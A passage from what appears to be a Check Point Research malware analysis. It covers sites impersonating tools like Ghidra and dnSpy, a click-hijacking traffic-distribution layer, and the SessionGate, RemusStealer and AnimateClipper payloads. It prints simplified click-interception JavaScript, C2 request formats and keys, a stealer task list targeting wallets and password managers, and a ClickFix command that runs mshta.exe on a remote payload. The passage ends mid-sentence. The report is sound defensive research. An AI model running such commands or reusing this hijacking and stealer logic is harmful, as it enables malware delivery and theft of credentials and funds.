There was significant community research into LangGraph security during November and December 2025. Other security researchers independently discovered CVE-2025-67644 and CVE-2026-28277. Full credits can be found in LangChain’s security advisories.

The post From SQLi to RCE – Exploiting LangGraph’s Checkpointer appeared first on Check Point Research.

Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem

Research by: Alexey Bukhteyev

Key Takeaways

  • Check Point Research investigated a large-scale operation that impersonates open-source and freeware projects to capture search traffic, including lookalikes for researcher and security tooling such as Ghidra, dnSpy, and SpiderFoot. The sites are well-designed and often look like legitimate project portals at a glance, sometimes referencing real upstream resources. The deception is not in the page content alone, it’s in what happens when a user interacts.
  • Our analysis shows these pages load a CloudFront-hosted JavaScript staging layer that converts a click on a “download” button/link into a handoff to a Traffic Distribution System (TDS). The TDS enforces strict gating: first-visit state, mandatory click confirmation, anti-bot/anti-analysis logic, VPN/datacenter filtering, and frequency capping.
  • The observed ecosystem appears to be built primarily for traffic acquisition and monetization, likely leveraging legitimate ad-tech and monetization tooling, while downstream redirect chains repeatedly led selected users to malware delivery infrastructure.
  • The downstream branches we analyzed led to multiple malware families, including RemusStealer, AnimateClipper, and the SessionGate framework, which we observed delivering PUA (Potentially Unwanted Applications), suggesting this was not an isolated malicious redirect.

Introduction

When we search Google for a popular piece of software, we usually click the first result, sometimes without even looking at the rest, because official project sites tend to rank highest and appear near the top of the results.

After landing on a site with a professional design and links that appear to point to the project’s official GitHub repository, most users intuitively trust it and proceed to download and run the installer without a second thought. Nothing seems suspicious: the first link in Google, a polished “official-looking” website, and references to the real project. What could go wrong?

Check Point Research investigated a large-scale campaign in which malicious and unwanted software is distributed through a gated traffic-routing stack. The operation relies on professionally built open-source and freeware impersonation sites, where click events initiate routing through a Traffic Distribution System (TDS) — a traffic-filtering and redirection layer that can send different users to different destinations based on factors such as geography, device type, browser fingerprint, or campaign rules — and can ultimately lead to payload delivery.

What makes this campaign especially notable is the choice of brands: a high-risk subset of sites impersonates trusted reverse-engineering tools such as Ghidra and dnSpy, used by security researchers and malware analysts.

Figure 1 – Impersonated websites of popular software tools

The broader phenomenon of websites impersonating popular open-source and freeware projects had already been documented by late 2025. In November 2025, Fullstory reported a large cluster of such fraudulent domains and did not identify direct abuse in their examined samples at the time (including checking hosted archives against known-good content), while emphasizing the clear security risk and the potential for downstream phishing or watering-hole style abuse.

Our findings show that this ecosystem has evolved. We observed that by at least December 2025, the sites in this cluster had TDS scripts embedded into their workflow, and from early January 2026 onward, we recorded active malware distribution via the same infrastructure.

The scale is reflected in VirusTotal telemetry: more than 5,000 total submissions across relevant samples, indicating substantial reach in just the subset visible through public sharing. The real exposure is likely significantly higher.

Figure 2 – VirusTotal total submitters exceeding 5,000, indicating the scale of the operation.

Among the payloads distributed through this TDS infrastructure, we identified several malware families:

  • SessionGate — A previously unknown multi-stage loader with heavy obfuscation and extensive anti-analysis mechanisms, which makes obtaining the final payload extremely difficult. In the chains we observed, it was used to deliver potentially unwanted applications (PUA). We examine SessionGate more deeply later on this article.
  • RemusStealer — a newly emerged infostealer designed to steal data from more than 20 browsers and targeting hundreds of browser extensions and applications, including cryptocurrency wallets, two-factor authentication tools, and password managers.
  • AnimateClipper — A cryptocurrency clipper capable of hijacking transactions across more than 20 blockchain ecosystems.

Importantly, we do not assess these impersonation sites as being built exclusively for malware distribution. The more plausible primary objective is traffic acquisition and monetization. However, by embedding a gated TDS layer and funneling search traffic into it, the operators become part of a distribution chain whose downstream consumers can include malware distributors. The same traffic pipeline that drives gray monetization can also selectively route real users to malicious payloads.

Impersonation, click hijacking, and the post-click routing

Our investigation started with several domains impersonating official project pages and download portals for tools widely used by security researchers.

For relevant queries, some of these “project portals” appeared surprisingly high in search results:

Figure 3 – Fake Ghidra project website in Google search results

What these sites have in common is a shared staging component: their pages load CloudFront-hosted Traffic Distribution System scripts from Amazon CloudFront, a legitimate content delivery network (CDN) service widely used to distribute web content through globally distributed infrastructure. These scripts turn the first “Download” click into a post-click routing chain.

The scripts are fetched from URLs with a consistent pattern, for example:

  • https://d33f51dyacx7bd.cloudfront[.]net/?aydfd=1237183
  • https://dcbbwymp1bhlf.cloudfront[.]net/?wbbcd=1236609

In total, we identified more than 100 currently active websites embedding these scripts, reusing the same campaign-style identifiers and the same CloudFront domains.

Below are some of the entry domains from the cluster, with an emphasis on impersonated brands that are commonly trusted by technical users:

  • Security/researcher tooling look-alikes
    • ghidralite[.]com
    • dnspy[.]org
    • ilspy[.]org
  • Developer/utility tooling look-alikes
    • grpcurl[.]com
    • mqttexplorer[.]com
    • mfcmapi[.]com
    • winsetupfromusb[.]org
    • crystaldiskmark[.]org
    • guiformat[.]com

While we have identified multiple targets that seems to primarily target security researchers, we have not found any strong evidence suggesting we could be dealing with potential targeted attacks. As previously mentioned, ultimate goal seems primarily for traffic acquisition and monetization.

Download button click hijacking

The key trick used on these fake websites is that the “Download” button can look legitimate even to a careful user. The page keeps the original href intact, often pointing to a real upstream destination such as a GitHub release, which means browser UI cues like the status bar on hover still show a plausible target.

Figure 4 – Hovering over the download button reveals the legitimate GitHub repository URL.

At the same time, once the user interacts with the page, the previously loaded CloudFront-hosted JavaScript can intercept the first eligible user interaction and hand it off to a Traffic Distribution System (TDS). The script contains multiple browser-side serving methods — alternative strategies for opening or navigating a tab/window to the TDS-controlled destination.

The default serving method is supplied in the configuration, while the browser-side runtime can still adapt locally based on factors such as browser family, mobile vs. desktop environment, frequency-capping state, and adblock-related logic. In practice, these methods differ mainly in how they preserve a browser-accepted, user-initiated opening opportunity and deliver the final TDS URL. The runtime includes several approaches, including calling a cached reference to window.open, using different primary events in different browsers, opening intermediate or temporary blank tabs that are later navigated to the final URL, or using a synthetic click on a dynamically created <a target="_blank"> element whose javascript: URL assigns window.location.href to the TDS URL.

For example, on desktop Firefox the runtime uses a capture-phase click handler; on desktop Chrome, the corresponding primary event is mousedown. The handler records the user’s intended destination if the interaction occurs inside a link, generates a TDS runtime URL, invokes the selected serving method, and then takes over the original interaction by calling preventDefault() to cancel the normal navigation and stopImmediatePropagation() to prevent other handlers from processing the same event.

A simplified version of the common event-wrapper logic is shown below. The exact invoke() implementation depends on the selected serving method.

const cachedOpen = window.open;

document.addEventListener(isChromeDesktop() ? "mousedown" : "click", (event) => {
  const method = currentServingMethod();
  if (!isEligibleClick(event.target)) return;

  const runtimeUrl = generateRuntimeURL({
    referrer: location.href,
    userDestination: extractClickedLink(event.target)
  });

  method.invoke(cachedOpen, runtimeUrl, event);

  event.stopImmediatePropagation();
  event.preventDefault();
}, true);

The routing logic is also gated by browser-side state and frequency caps, including values stored in localStorage. This creates a reproducibility trap: the first eligible click may route through the TDS chain, while refreshes, repeated clicks, or return visits can fall back to the original visible link target. The script also forwards the clicked link destination downstream, allowing the routing layer to know what the user appeared to be trying to open.

In other words, a click on what appears to be a legitimate link or download button can be converted into a navigation to a completely different URL controlled by the TDS.

window.addEventListener(browser.isChrome() ? "mousedown" : "click", function () {
  w = window.open("about:blank", /* ... */);
});

document.addEventListener("click", function (e) {
  const el = e.target.closest("a, button");
  if (!el) return;

  e.preventDefault();
  e.stopImmediatePropagation();

  window.g(/* ... */, selectedPostClickUrl);
}, true);

window.g = function(/* ... */, u) {
  w.location.href = u;
};

Real redirect chains: gating and branching outcomes

After the click handoff, the workflow becomes visible as a sequence of redirects. We observed numerous redirect chain variations. In many cases, repeated attempts to enter the TDS chain from the same IP address resulted in downloads of benign software (for example, the Opera browser). Some chains ended with the delivery of unnecessary, yet non-malicious, browser extensions.

At the same time, other redirect paths ultimately led to the download of malware.

Figure 5 – Some of the observed redirect chains across the TDS infrastructure.

In all of our experiments, the browser was first redirected to a post-click redirector:

oundhertobeconsist[.]org/<token>

However, this domain is not hardcoded in the page or the scripts. It is supplied dynamically through the decoded stage configuration delivered from CloudFront, together with other campaign parameters.

A decoded configuration block observed in multiple cases contained:

{
  "tagId": 1230479,
  "redirectorDomain": "oundhertobeconsist.org",
  "pixelDomain": "ukentaspectsofc.org",
  "capPerDomain": 2,
  "capPerUri": 1,
  "intervalBetweenPops_ms": 60000,
  "resetInterval_sec": 43200,
  "extraCloudFront": "//d2f5h9m0jmnhjh.cloudfront.net",
  "namespace": "xcvmsbcmxa"
}

The redirector then forwarded the browser along one of several possible branches. Some of the observed variants include:

  • In one family of redirect chains, users were sent directly to an offer wall / content locker (unlockcontent.org), which may result in affiliate-tagged downloads of legitimate software or potentially unwanted applications (PUA).
  • In another family, users were redirected into a multi-gate chain (trkscope[.]xyz, file-enter-web[.]com) before reaching the final delivery infrastructure.

The multi-gate path introduces a second branching point after the anti-bot gate (file-enter-web[.]com). From there, sessions can be routed either to a download gate with direct archive delivery (media.stellarcloudhub1[.]cfd, arch2.maxdatahost1[.]cyou) or to a different gated path that bridges to external hosting platforms (observed ending at mega.nz).

The specific redirect path appears to be influenced by multiple factors, including the user’s country, browser type, VPN usage, client fingerprint, click context, and the original entry domain.

SessionGate: From “Benign Installer” to a Gated, Multi-Stage Framework

We have uncovered several malware families as the final payload, including RemusStealer and AnimateClipper, however, one that stood out was a previously unknown malware we named SessionGate.

SessionGate case drew our attention not only because of its multi-stage delivery chain and extensive validation logic, but also due to a rather unusual anti-analysis approach. Combined with the TDS-side gating, it makes obtaining the final payload extremely difficult for analysts.

VirusTotal telemetry indicates broad reach for this branch. Individual samples associated with SessionGate family were submitted thousands of times, with some reaching approximately 2,000 to 3,500 submissions. The observed submission and lookup activity was distributed globally, with especially notable visibility in Turkey, Poland, Brazil, Germany, France, Russia, and the United Kingdom.

Figure 6 – VirusTotal telemetry (submissions and lookups) for an SessionGate sample.

We believe the TDS chain includes a backend service that “registers” the victim’s IP address, after which the victim must traverse the entire redirect path end-to-end. The payload delivered at a later stage appears to be unique per client, generated server-side for each session, and intended for one-time execution. The embedded modules within that payload are encrypted, and the decryption key material is produced based on data provided by the C2 server only once for that specific sample. As a result, a complete decryption and analysis is only possible if the researcher’s environment does not raise suspicion at any stage, and the analyst manages to fully intercept and decrypt all relevant traffic.

In addition, each stage employs obfuscation techniques that effectively undermine static analysis tooling (disassemblers and decompilers) and can even hinder AI-based reverse-engineering agents.

The figure below schematically illustrates the delivery sequence, C2 communication, and the module decryption flow.

Figure 7 – PUA branch infection chain

We identified two landing pages that initiate the download of samples belonging to this family:

originaldownloads[.]info
getfluxfile[.]com

The landing pages look as follows:

Figure 8 – Two landing pages observed delivering SessionGate samples.

Each landing page generates a short-lived, unique payload download URL per client session, bound to the client’s browser and IP address. Examples of generated URLs include:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.html?utm_source=partner_consent
https://s3.us-east-2.amazonaws[.]com/activeslatnascdngetrcv/wstq162fmo/SetupFile_839132.html?utm_source=partner_consent

The HTML page contains obfuscated JavaScript that performs a server-side validation step (performed by

https://javascriptapiusa[.]com/lic?) before allowing access to the payload. The payload is then downloaded using the same name but with .exe extension, for example:

https://s3.us-east-2.amazonaws[.]com/marketstagofortdas/ehjm145uvt/Download_Ready_461049.exe

As observed, different S3 buckets may be used. Below are some of those identified by us between January and March 2026:

["activeslatnascdngetrcv", "globalhasigasnaledsftwre", "marketstagofortdas", "activesltnascdngetrcv", "globalhsigasnaledsftwre", "dimarketorotacti", "softmakreplnt", "softmakreplntl", "activemktsolution", "dimarketorotactis", "signedmarkeotk", "marketstgofortdas"]

Downloader with a built-in decoy: embedded 7-Zip SFX content

The loader contains an embedded 7-Zip archive, and it can pivot to a benign installer experience when its gated delivery path does not proceed.

This decoy design matters operationally: analysts and automated sandboxes often observe a “normal installer” UI, while the malicious delivery chain remains gated.

One of the first red flags is that the downloaded archive is about 20 MB, yet it contains a file of only 15 MB. The remaining ~5 MB consists of heavily obfuscated loader code.

Figure 9 – The contents of the SFX archive.

Because of the obfuscation techniques in use, including injected junk code, opaque predicates, and string encryption, the resulting functions become extremely bloated. This alone significantly complicates analysis, as it can break parts of common tooling, including IDA’s decompiler and even graph mode. Some functions exceed 500 KB in size.

In addition, encrypted string blobs are placed directly inside function bodies after conditional branches (opaque predicates). This causes disassemblers to misinterpret the string data as executable code, which further disrupts analysis and can prevent tools from correctly identifying function boundaries in the first place.

Figure 10 – Bogus math, opaque predicates and encrypted strings in the analyzed samples

However, this obfuscation method is very characteristic and follows the same patterns, allowing for easy identification of other samples of this family.

The sample also runs multiple environment checks that influence whether it proceeds with malicious delivery or falls back to decoy behavior. The loader checks for the presence of certain services, but the service names are not stored plainly. Instead, it compares Adler-32 hashes against constants, effectively hiding the indicator list.

The identified service name indicators include:

  • eelam, ehdrv, eamonm, epfwwfp, epfw, ekbdflt, edevmon
  • npf, npcap, sysmondrv

In addition to services, the loader also enumerates running processes (Toolhelp-based scanning). Here too, the indicators are not kept as plaintext: they are compared via hash-based logic (SHA1 table approach), again reducing the value of simple string hunting.

Finally, the loader checks system context such as:

  • Windows Defender PUA/PUS-related registry settings (e.g., PUAProtection, MpEnablePus)
  • Windows “Enterprise” edition detection (by inspecting the ProductName string)

Taken together, these checks ensure that malicious activity is only launched on systems where it is most likely to go undetected.

Stage 1: The Loader’s C2 – Multi-Step “Check-in” With Gating

Once executed, the loader attempts to contact its C2 and perform several check-in steps before it tries to retrieve the next-stage payload.

In the campaigns we analyzed, one observed C2 domain was:

  • appfreshstart[.]com

We also observed related campaigns using domains such as:

  • appgetonline[.]com
  • webinnosetup[.]com
  • appmakingcenter[.]com

The loader’s C2 requests use a distinctive URL structure consisting of multiple path segments and a query suffix, and uses a specific User-Agent string NSIS_InetLoad (Mozilla). The pattern looks like:

https://<c2>/<tokenA>/<tickA>/<tokenB>/<tickB>?<sig16><timestamp>

The values in the <tokenX> fields are stored enrypted in the sample and are unique per campaign. They are also used to identify specific stages, for example:

  • check-in;
  • check-in after privilege elevation;
  • payload request.

When constructing the URL, the loader incorporates random tick-derived values, a timestamp, and a signature calculated as SHA1({base_path}/{timestamp}/{salt}), where salt is a shared secret known to both the sample and the server.

In the analyzed sample, salt = "118107B05C590076239FF759CD9E5".

Example request:

GET https://appfreshstart.com/06A3AEF73537C68C/00507206521/26203FA83EC99DDE/77035662512?FF584F0057B9F6F81770356625 HTTP/1.1
Host: appfreshstart.com
User-Agent: NSIS_InetLoad (Mozilla)
Accept: /

For check-in requests, the server responds with a hex string. The loader then sums all decimal digits in that string. If the resulting value is even, execution is aborted.

We observed this behavior when attempting to download the payload again from the same IP address, and also when the sample was obtained outside of the intended TDS chain.

Using a similar request structure, but with different tokenA and tokenB values, the loader requests the next-stage payload from the server. At this step, the server can also block delivery: in our experiments, we occasionally received an empty response. In some campaigns, the payload was additionally encrypted.

We observed multiple variants of the loader. In some cases, the downloaded payload was executed directly from memory, while in others it was written to disk. For disk-based execution, the loader creates a temporary directory and file under %TEMP%. The downloaded file is then launched with two command-line arguments, for example:

"<tmp_filename>.exe" 5568725089114413 DNQ5q9t4mVzASXrJMqVsA6/rjdVV12bOaI7kXqemD9uW/eqleH0aqGh/0glYQt1yrXQjkwN7Bm+PzpsNT/VljVIG7R0Kldo/aFDkzhed2jaSbLtANScmGWkY/wSKVVqUVxwlfJQT4D+S6GD4EnFjet8pp1lEWXl+Vg4QY/Wwz5I=

Stage 2: One more 7-Zip SFX archive with a decoy

The second-stage binary is another large Windows GUI executable (usually up to 10MB) that impersonates a legitimate 7-Zip SFX installer. Its string-encryption and code-obfuscation style is highly consistent with other samples in the same delivery framework.

Notably, it contains a PDB path: D:\\code\\cpp-downloader-scb-reg-other\\Plugins\\7ZipDownloader\\Output\\SFXWin.pdb. We used this artifact for pivoting and found 200+ similar samples on VirusTotal, with the earliest ones appearing in late August 2025.

On launch, the sample checks its command line: the first argument must look like a numeric token, and the second must look like a base64 string. The base64 blob is then further decrypted and validated by an embedded module (described later). If the checks fail, the sample falls back to the benign 7-Zip SFX behavior, showing a normal “installer/extractor” flow.

Figure 11 – Very low VT detection rate of the 2nd stage payload samples.

When the gate passes, the binary reads its own on-disk image, extracts two embedded DLL payloads, and decrypts them using AES-CBC. The modules are not written to disk: they are loaded via in-memory PE manual mapping (often referred to as reflective / manual-map loading), and execution is transferred through exported functions.

  • DLL #1 is decrypted first using a key derived locally:
    • key1 = SHA256("WDNkCQnmXc" || tail32) where tail32 is a 32-byte slice from the loader’s file image.
  • After mapping DLL #1, the loader resolves and calls an export named c1, passing the loader’s own SHA-256 hash (uppercase hex string) and an output buffer.
  • The output of c1, combined with a second hardcoded string constant, is used to derive the key for DLL #2:
    • key2 = HEX_UPPER(SHA256("webh5vnGVew" || c1_output))
  • The loader then decrypts and maps DLL #2 the same way and calls its exported entry point (observed as mainFunc), passing through the original command-line arguments.

However, we encountered major problems while decrypting DLL #2. The problem is that the output of function c1 is not static, but depends on the data returned by the C&C server.

DLL #1 – “Key Broker” module

After the stage-2 SFX loader decrypts and maps DLL #1 in memory, it resolves and calls an exported function named c1. From the loader’s point of view, DLL #1 acts as a key broker: it performs strict gating based on the process command line, contacts a dedicated “CRC” C2 endpoint, transforms the server response into a short token, and returns it to the loader. The loader then mixes this token with a hardcoded value to derive the AES key material for decrypting DLL #2.

Command-line gating

First, the module performs the same command line check as the parent executable: the first argument must look like a numeric token, and the second must look like a base64 string.

Then it decodes the base64 string from the second command line argument using AES-256-CBC with a fixed hardcoded key BFEA4EE8EF934BE7A2B4C64A0BAD1E92 (32 bytes; not hex-decoded) and a zero IV.

It skips the first 32 bytes and treats the remaining bytes as a UTF-16 string. In the samples we analyzed, this string holds a path-like marker such as:

C:\\Users\\user\\Desktop\\SetupFile_411815.exe

The decrypted value is then validated by checking the filename suffix pattern: the filename must contain an underscore followed by 3-10 lowercase alphanumeric characters, and end with an extension (e.g., _411815.exe). This check is important operationally: it prevents the module from functioning correctly when executed outside of the intended delivery flow. If any of these checks fail, the DLL exits early and returns no usable output, that leads to the loader’s “benign SFX fallback” flow.

In addition to command-line gating, DLL #1 runs lightweight anti-analysis checks. In particular, it checks the local environment against hardcoded blacklists derived from:

  • SHA-256 of the current username and computer name, and
  • MD5 hashes of ntdll.dll export names (a common way to detect non-standard runtime environments such as emulation layers or heavily instrumented sandboxes).

When any blacklist condition matches, the module aborts before contacting its key server.

Key request: C2 receives the loader’s hash, returns per-build token material

If the gate passes, DLL #1 contacts a dedicated “CRC” C2 domain (observed variants include):

  • yourfastcrc[.]com
  • mobileversioncrc[.]com
  • webcrcprove[.]com
  • integritycrc[.]com

The request follows a consistent pattern:

https://<crc-domain>/check_version?version=<hash>

The value passed in version= contains the uppercase SHA-256 hex hash of the stage-2 loader itself and is provided by the stage-2 loader when calling c1.

The C2 response is a short ASCII string, for example:

qWTL9kRfF3ndz5UGs3jPWsriG4yFfRnvZxffshBIunIBDFwVfgGbGFUjpTJaFwBB

DLL #1 uses the first 64 characters and performs a deterministic transformation to produce a 32-character base62 token, which it returns to the loader via the output buffer. For the example above, the resulting value is:

q2lOy0GwLqW1yRwIYAzH33CjBV9PoRrA

The loader then combines this c1 output with a hardcoded constant to derive the AES key material for DLL #2.

Implication: per-client, one-time keys and strong server-side gating

In controlled experiments, we repeatedly observed that the “CRC” C2 endpoint can return different values across requests for the same version=<hash>. This behavior aligns with the broader design of the campaign:

  • The stage-2 payload appears to be generated per client session, and
  • DLL #2 cannot be decrypted unless the correct c1 output is obtained for the matching build.

Based on traffic captures and repeated retrieval attempts, our working assessment is that the “CRC” C2 likely implements one-time key release semantics and additional gating tied to victim context, such as the originating IP address / session state. In practice this means:

  • the correct key material may be released only once for the intended victim session, and
  • subsequent requests (or requests from a different IP) may be answered with a valid-looking but non-functional random string, causing the stage-2 loader to decrypt DLL #2 into garbage rather than a valid PE image.

This design significantly complicates research. Even when an analyst captures a full redirect chain and obtains a sample quickly, the server-side constraints can prevent reliable reproduction of the key exchange needed to decrypt and analyze the final payload (DLL #2).

DLL#2 – Decrypted Payload: The “Installer/Offer Framework” Module

After we succeeded in capturing a clean end-to-end delivery run and decrypting the embedded modules, we obtained a second-stage DLL that implements the real business logic: tracking, configuration retrieval, payload selection, download, and silent execution.

This section describes that decrypted module and its capabilities.

In this sample, we observed the same code patterns and obfuscation techniques as in all previously analyzed modules, which clearly indicates that they belong to the same malware family.

The decrypted payload is best described as a network-controlled installer/bundler framework. It is designed to look and behave like a legitimate installer when observed superficially, while quietly performing a server-driven download-and-execute workflow in the background.

Importantly, we did not observe stealer or RAT behavior in this module: there is no evidence of credential theft, browser database scraping, keylogging, or interactive remote control. Instead, the module is intended for configurable delivery (server-controlled payload URLs), and silent installation of additional software.

From a defensive perspective, this still makes it high-risk. Any component that can fetch configuration from a remote server and then download and execute binaries on demand is a delivery primitive that can be abused to distribute malware.

A quick map of the core workflow

At a high level, the DLL implements the following pipeline:

  1. Build encrypted request.
  2. Retrieve encrypted config from C&C server (appmakingcenter[.]com in the analyzed sample).
  3. Decode config into key/value table, fetch download URL.
  4. Download payload.
  5. Execute silently via cmd.exe .
  6. Send telemetry/tracking events

The implementation is structured around a small set of reusable building blocks:

  • an encrypted “panel protocol” over HTTPS,
  • a configuration decoder and parser,
  • downloaders,
  • a silent process launcher,
  • multiple tracking/telemetry helpers.
Figure 12 – C&C domain, and endpoints in the decrypted strings.

What software does it appear to install?

The decrypted module contains many product-facing strings (installer UI text, product names, and expected post-install executable paths under AppData\\Local\\Programs\\...). At first glance, this looks like a hardcoded “bundle portfolio” (PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch). However, as we described above, the DLL is a multi-product installer shell driven by server configuration, not a collection of fixed download links.

Figure 13 – The list of products that can be installed.

Concretely, the module retrieves an encrypted backend configuration, decodes it into an internal key/value table, and then:

  • uses a numeric product identifier from the table (config key 22) to select which product branding/UI texts to display, and which expected executable path to use for post-install launch (via CreateProcessW);
  • uses a download URL from the same table (config key 11, PRODUCT_DOWNLOAD_URL) as the input to its WinINet downloader.

This design explains why you can see many product names and installation paths in the DLL while not seeing their download URLs as plaintext: the URLs are supplied dynamically by the backend.

Finally, if the backend config is missing key 11, the parser initializes PRODUCT_DOWNLOAD_URL to a hardcoded 7-Zip installer URL (https://www.7-zip.org/a/7z2301-x64.exe), which can be overridden by a full server response.

Case 2: RemusStealer

In the second case we analyzed, the TDS redirection chain ends with a landing page that provides a link to download a password-protected ZIP archive and the password required to open it.

Figure 14 – Link for downloading a password protected archive.

The archive is approximately 14 MB, but after extraction it contains a single executable whose on-disk size is about 850 MB. The file is artificially inflated by large zero-filled padding: the actual non-zero content is roughly 32 MB once the padding is removed.

This inflation is a practical evasion technique. Oversized binaries can slow down or break automated processing (static unpacking, AV scanning pipelines, sandbox analysis) and can also bypass tooling or policies that impose file-size limits or timeouts during analysis.

The executable itself is a first-stage loader written in Go. It contains an embedded malicious payload in .rdata that is decoded at runtime using a simple transform, and is executed via manual PE mapping.

Payload: Remus Stealer

The embedded second-stage payload is a C2-controlled infostealer marketed as Remus (a MaaS stealer). The first public listing we observed for “Remus” was posted on a Russian-language underground forum by a user named RemusStealer on February 12, 2026.

According to the vendor advertisement, Remus is positioned as a subscription product (two tiers advertised at $250 and $500) with a focus on broad browser and extension collection, a custom exfiltration protocol with encryption, and heavy use of low-level OS interaction (“system calls”).

Figure 15 – RemusStealer panel screenshot (from Remus ads)

RemusStealer implements the following functionality:

  • C2-driven collection (“tasking”): the server defines what is collected per run by sending encrypted JSON tasks; multiple tasks can be executed sequentially until the server signals completion.
  • Browser data theft:
    • Chromium family: History, Login Data, Login Data For Account, Network\\Cookies, Web Data
    • Firefox/NSS profiles: key4.db, cert9.db, cookies.sqlite, logins.json, formhistory.sqlite, places.sqlite, prefs.js, extensions.webextensions.uuids
    • Chromium key material: extracts the master key from Local State via DPAPI (CryptUnprotectData) and uploads it as a separate /Key artifact.
  • Extension-driven theft: the server can pass an explicit list of extension targets (extensions[] objects with {name, path}), allowing selective collection.
  • File system search + exfiltration: server-controlled search rules (path, mask, depth, size limit, link handling) with %ENV% expansion (e.g., %APPDATA% paths).
  • Registry reconnaissance: server-controlled queries of arbitrary path/value pairs, with HKCU-relative support and WOW64 view retry logic.
  • Clipboard theft: captures CF_UNICODETEXT, exfiltrated as Clipboard.txt (collected once per run).
  • Screenshot capture: supported and exfiltrated as Screenshot.bmp when enabled by an internal flag (not unconditional in this build).

Operationally, this architecture gives the operator fine-grained control over collection scope. For example, the backend can define which browser extensions to target, which file name patterns to search for, which registry values to query for environment profiling, and so on.

Tasking protocol overview

The binary contains an encrypted C2 list that is decrypted at runtime. In the analyzed sample, the decrypted C2 endpoints were:

  • http://buccstanor[.]pics:28313 (primary)
  • http://baxe[.]pics:48261 (fallback)

The stealer polls the C2 using HTTP POST requests that include an access_token and an incrementing step counter. The requests use a Firefox browser User-Agent string, to blend in with normal browser traffic:

POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 56
Host: baxe.pics:48261

access_token=57fe0587-863c-432d-9f4b-bf785a9560e8&step=1

Each server response is an encrypted JSON object with keys:

  • type — numeric command type (parsed as a number and used as an integer selector)
  • data — command parameters (object or list, depending on type)
  • name — base64 string used by type=0
  • extensions — list of {name, path} objects used by type=3 and type=4
{
  "type": <number>,
  "data": ...,
  "name":"<base64>",
  "extensions": [ {"name":"...", "path":"..."}, ... ]
}

Task responses are delivered as encrypted JSON. After decoding, entries resolve into a label and extension identifier, with occasional control flags (sync, indb) used by the malware logic.

A decrypted example task instructing the stealer to collect Chrome browser extension data looks as follows:

{
  "type":3,
  "extensions": [
    { "name":"Password Managers/1Password", "id":"aeblfdkhhhdcdjpifhhbdiojplfjncoa" },
    { "name":"Password Managers/Bitwarden", "id":"jbkfoedolllekgbhcbcoahefnbanhhlh" },
    { "name":"Wallets/MetaMask", "id":"nkbihfbeogaeaoehlefnkodbefgpgknn", "indb":true },
    { "name":"Wallets/Phantom", "id":"bfnaelmomeimhlpmgjnjophhpkkoljpa" },
    { "name":"2FA/Authy", "id":"gaedmjdfmmahhbjefcbgaolhhanlaolb" }
  ]
}

Notably, the identifiers are not limited to Chrome Web Store-style IDs: the list also contains email-like IDs (e.g., webextension@…) and GUID-style identifiers, suggesting the operator’s targeting list is designed to cover multiple browser ecosystems and packaging schemes.

The agent executes tasks in a loop until the server returns a stop command.

Implemented commands

Task typePurposeExpected fieldsWhat the stealer does
0File-system search + exfiltrationdata contains: path, mask, depth, size, link; plus top-level name (base64 label). path supports %ENV% expansion.Expands %ENV% paths, traverses directories with filters/limits, collects matching file contents, packages results, and uploads them to C2.
1Reserved / no-op (this build)type onlyNo task handler is executed. The agent performs only the standard loop housekeeping and proceeds to the next step.
2Registry reconnaissance (arbitrary value queries)data is a list of objects with: path, value, nameOpens keys via native NT registry APIs, queries requested values, retries using an alternate WOW64 view when needed, supports HKCU-relative paths, and returns results as labeled artifacts.
3Chromium-oriented collection + extension-driven logicUses extensions ({name, path}) and additional control flags from data (e.g., history, plus short flags observed as indb/sync).Collects Chromium artifacts (History, Login Data, Cookies, Web Data), extracts key material from Local State via DPAPI (CryptUnprotectData), and uploads the decrypted blob as a /Key artifact.
4Firefox/NSS profile discovery + profile theftUses extensions ({name, path})Searches for profile directories by checking for \\key4.db; when found, collects the Firefox/NSS artifact set (including key4.db, cert9.db, cookies.sqlite, logins.json, places.sqlite, prefs.js, extensions.webextensions.uuids) and uploads them.
5Stop / end of taskingtype onlySignals completion: the agent exits the task loop and proceeds to its post-task upload sequence before terminating.

Targets: crypto wallet, password managers, 2FA extensions

In the captured C2 traffic, the stealer received a list of 332 browser extension identifiers in encrypted task responses.

The targeting is heavily skewed toward cryptocurrency wallets and credential/secret storage:

CategoryUnique targetsWhat’s at risk (high level)
Wallets220Wallet extension state (accounts/addresses, encrypted vaults, session artifacts; exact contents depend on the wallet)
Password Managers77Password manager extension data (vault metadata, sessions, potential export artifacts depending on product/state)
2FA / TOTP18OTP/2FA companion extensions and related data (e.g., seeds/exports if present)
Notes11Notes/clipper extensions (note content, clip data)
Payments6Payment/checkout extensions (session / account-related artifacts)

Representative high-signal targets from the decoded list include:

Password managers: 1Password, Bitwarden, LastPass, Dashlane, Keeper, RoboForm, NordPass, Proton Pass, KeePassXC, Zoho Vault

Crypto wallets: MetaMask (multiple identifiers observed), Rabby Wallet, Coinbase Wallet, Trust Wallet, OKX Wallet, Binance Wallet, Bitget Wallet, Phantom (Solana), Solflare Wallet (Solana), Keplr / Cosmostation / SubWallet (Cosmos/Substrate ecosystems), TronLink, Exodus, Ronin Wallet, Tonkeeper / MyTonWallet, Yoroi (Cardano), UniSat Wallet (Bitcoin ecosystem), Suiet (Sui) / Pontem (Aptos)

2FA: Authy, 2FAS, multiple “Authenticator / TOTP / Web2FA” extensions.

Case 3: ClickFix, and a Crypto Clipper with On-Chain C2 Resolution

In this TDS branch, the user is ultimately led to a ClickFix-style phishing page (processing-in-progress-x4.t3.storage[.]dev), after which the infection chain proceeds to silently install a cryptocurrency clipper malware that some vendors identify as AnimateClipper.

Figure 16 – A phishing page using the ClickFix technique to trick the victim into silently running a malicious downloader.

The page that imitates a Cloudflare verification screen and instructs the user to run:

C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z

mshta.exe is a built-in Windows utility intended to run HTML Applications (HTA). It is often abused by threat actors because it can execute script-based content directly from a remote URL using a system binary already present on the machine.

The object fetched from https://185.0xA1.0xFB[.]58/navy.7z is not a normal 7-Zip archive. Its beginning contains an HTA page with obfuscated VBScript, which mshta.exe executes. The appended archive content is benign decoy data and does not participate in the infection chain.

The VBScript retrieves the next stage from:

